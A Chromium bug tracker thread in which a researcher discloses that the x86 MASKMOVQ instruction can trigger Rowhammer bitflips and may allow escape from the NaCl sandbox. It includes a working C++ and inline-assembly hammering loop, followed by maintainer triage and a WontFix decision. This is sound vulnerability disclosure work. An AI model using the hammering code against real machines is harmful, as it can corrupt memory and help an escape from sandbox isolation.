New issue
Advanced search Search tips

Issue 620347 link

Starred by 1 user

Issue metadata

Status: WontFix
Owner:
Closed: May 2017
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security



Sign in to add a comment

Maskmov instuction able to induce bitflips via Rowhammer

Reported by damian.d...@gmail.com, Jun 15 2016

Issue description

Hello,

I am currently reviewing the papers on Rowhammer and trying to reproduce their results. After reading the paper "A New Approach for Rowhammer Attacks", I compiled a table of some non-temporal instuctions on x86-64 and was able to induce bitflips via the `maskmov` instuction on my machine using the rowhammer-test program.

I tried to find out, wheather this instuction is rewritten in the NaCL native client as it is with the maskmov* instuctions, but after (not very closely) looking here

https://chromium.googlesource.com/native_client/src/native_client.git/+/3a518c77e47e7e1f0fb65e00e1115103f0e24ba6

I found no evidence that this instuction is rewritten also.

So... this could be another possibility to escape the NaCL sandbox via Rowhammer.


I used the following snippet to induce bitflips:


```
    uint64_t HammerAddressesMaskmov(const std::pair<uint64_t, uint64_t> &first_range,
                                    const std::pair<uint64_t, uint64_t> &second_range,
                                    uint64_t number_of_reads) {
        volatile uint64_t *first_pointer = reinterpret_cast<uint64_t *>(first_range.first);
        volatile uint64_t *second_pointer = reinterpret_cast<uint64_t *>(second_range.first);

		/*
			Selectively write bytes from mm1 to memory location using the byte mask in mm2.
			The default memory location is specified by DS:DI/EDI/RDI.

			mm1 = 64Bit = 4Byte
			mm2 = 64Bit = 4Byte = Mask
		*/

		uint64_t mm0 = 0xFFFFFFFFFFFFFFFF;
		uint64_t mm1 = 0x8000000000000000; // Only first byte should be written

		asm volatile(
			"\t movq %0, %%mm0 \n"
			"\t movq %1, %%mm1 \n"
			: 
			: "r" (mm0), "r" (mm1)
			: "mm0", "mm1"
		);

        while (number_of_reads-- > 0) {
			asm volatile(
			    "\t movq %0, %%rdi        \n"
                "\t maskmovq %%mm1, %%mm0 \n"
                "\t movq %1,%%rdi         \n"
                "\t maskmovq %%mm1, %%mm0 \n"
                "\t movq %%rax, (%0)      \n"
                "\t movq %%rax, (%1)      \n"
                :
                : "r" (first_pointer), "r" (second_pointer)
                : "di"
			);
		}
		return 0;
    }
```

The mentioned paper was written by Mark Seaborn and Rui Qiao. Since I dont wanted to be impolite, I didn't wrote Mark or Rui directly. Feel free to forward my message to them :-)
 
Edit: ... native client as it is with the movnt* (not maskmov*) instructions ... 

Comment 2 by est...@chromium.org, Jun 15 2016

Owner: mseaborn@chromium.org
mseaborn, can you please take a look?
Project Member

Comment 3 by ClusterFuzz, Jun 16 2016

Status: Assigned (was: Unconfirmed)
This is a good catch.  Rui and I missed MASKMOVQ when we were investigating non-temporal x86 instructions last year, because unlike the others its name doesn't contain "NT".

It looks like there are three problematic instructions here:

  MASKMOVQ (0f f7) - uses MMX registers (64-bit)
  MASKMOVDQU (66 0f f7) - uses XMM registers (128-bit)
  VMASKMOVDQU - also uses XMM registers (128-bit), but with AVX instruction encoding

There are some other MASKMOVs that aren't non-temporal and so shouldn't be problematic:

  VMASKMOVPD
  VMASKMOVPS

Our existing strategy has been to rewrite non-temporal instructions to temporal versions, e.g. MOVNTQ to MOVQ.  It looks like we can't do that for MASKMOVQ etc. because there are no equivalent cached instructions.  We might have to disable these instructions instead.  This will involve checking whether any existing Web Store apps use them.

Comment 5 by est...@chromium.org, Jun 16 2016

Components: Platform>NaCl
Labels: Security_Severity-Medium Security_Impact-Stable

Comment 6 by est...@chromium.org, Jun 16 2016

Labels: M-51
I hope that disabling it is not that problematic. As far as I know the maskmov* instructions are also very rarely used: only a handful of media-related applications are using them and the libc does not -- not sure about the NewLib.

Beside the instruction you already mentioned I found no other obvious ones so far.
Project Member

Comment 8 by sheriffbot@chromium.org, Jun 17 2016

Labels: Pri-1
Project Member

Comment 9 by sheriffbot@chromium.org, Jul 1 2016

mseaborn: Uh oh! This issue still open and hasn't been updated in the last 14 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 10 by ta...@google.com, Jul 13 2016

Labels: OS-All

Comment 11 by ta...@google.com, Jul 13 2016

Labels: -OS-All OS-Chrome

Comment 12 by ta...@google.com, Jul 13 2016

Labels: -OS-Chrome OS-All
Project Member

Comment 13 by sheriffbot@chromium.org, Jul 16 2016

mseaborn: Uh oh! This issue still open and hasn't been updated in the last 29 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 14 by sheriffbot@chromium.org, Jul 21 2016

Labels: -M-51 M-52
@mseaborn: Are you aware of the new non-temporal instructions on ARMv8? Reference: https://developer.arm.com/docs/den0024/latest/6-the-a64-instruction-set/63-memory-access-instructions/638-non-temporal-load-and-store-pair

I tried that on an ODROID C2 with no success, but really (!) haven't tried for long...

I wanted to post this in the rowhammer-discuss group, but thought it may be more appropriate to post here first. If this is not relevant for NaCl I will ask in rowhammer-discuss if someone likes to take this up.
Project Member

Comment 16 by sheriffbot@chromium.org, Sep 1 2016

Labels: -M-52 M-53
Any updates? Is it okay to post in rowhammer-discuss about the new ARMv8 instructions?
Sure, I don't mind if you post about ARMv8's new instructions on rowhammer-discuss.
My question was, if the new ARMv8 non-temporal instructions could be a similiar security thread for NaCl. I expect yes, but maybe it's better to gain confidentiality on this first. I will post in rowhammer-discuss.
No, ARMv8's new non-temporal instructions aren't a security threat for NaCl because NaCl does not implement a sandbox that's based on the ARMv8's 64-bit instruction set (AArch64).  NaCl only implements a sandbox for ARM's 32-bit, non-Thumb instruction set.
Friendly ping from Security Sheriff: mseaborn@, do you plan to work on this in the meantime? Do you need any help?
Project Member

Comment 22 by sheriffbot@chromium.org, Oct 13 2016

Labels: -M-53 M-54
mseaborn: ping :) any updates here? 
Project Member

Comment 24 by sheriffbot@chromium.org, Dec 2 2016

Labels: -M-54 M-55
Project Member

Comment 25 by sheriffbot@chromium.org, Jan 26 2017

Labels: -M-55 M-56
Project Member

Comment 26 by sheriffbot@chromium.org, Mar 10 2017

Labels: -M-56 M-57
I'm curious. Was this resolved in the meantime? If so, how?
Project Member

Comment 28 by sheriffbot@chromium.org, Apr 20 2017

Labels: -M-57 M-58
Status: WontFix (was: Assigned)
I'm marking this as WontFix because it's some hassle to disallow MASKMOV, the exposure is limited, and disallowing MASKMOV might not help much.

It's a hassle because we'd need to check whether any Web Store apps use this instruction.  The exposure is limited because the issue only applies on hardware that is faulty, and MASKMOV is only exposed to Chrome Web Store apps.  Disallowing MASKMOV might not help much because row hammering has been shown to also be possible using normal cached memory accesses, including from JavaScript (which wasn't the case at the point in 2015 when we implemented disallowing and rewriting non-temporal instructions).
Project Member

Comment 30 by sheriffbot@chromium.org, Aug 8 2017

Labels: -Restrict-View-SecurityTeam allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Sign in to add a comment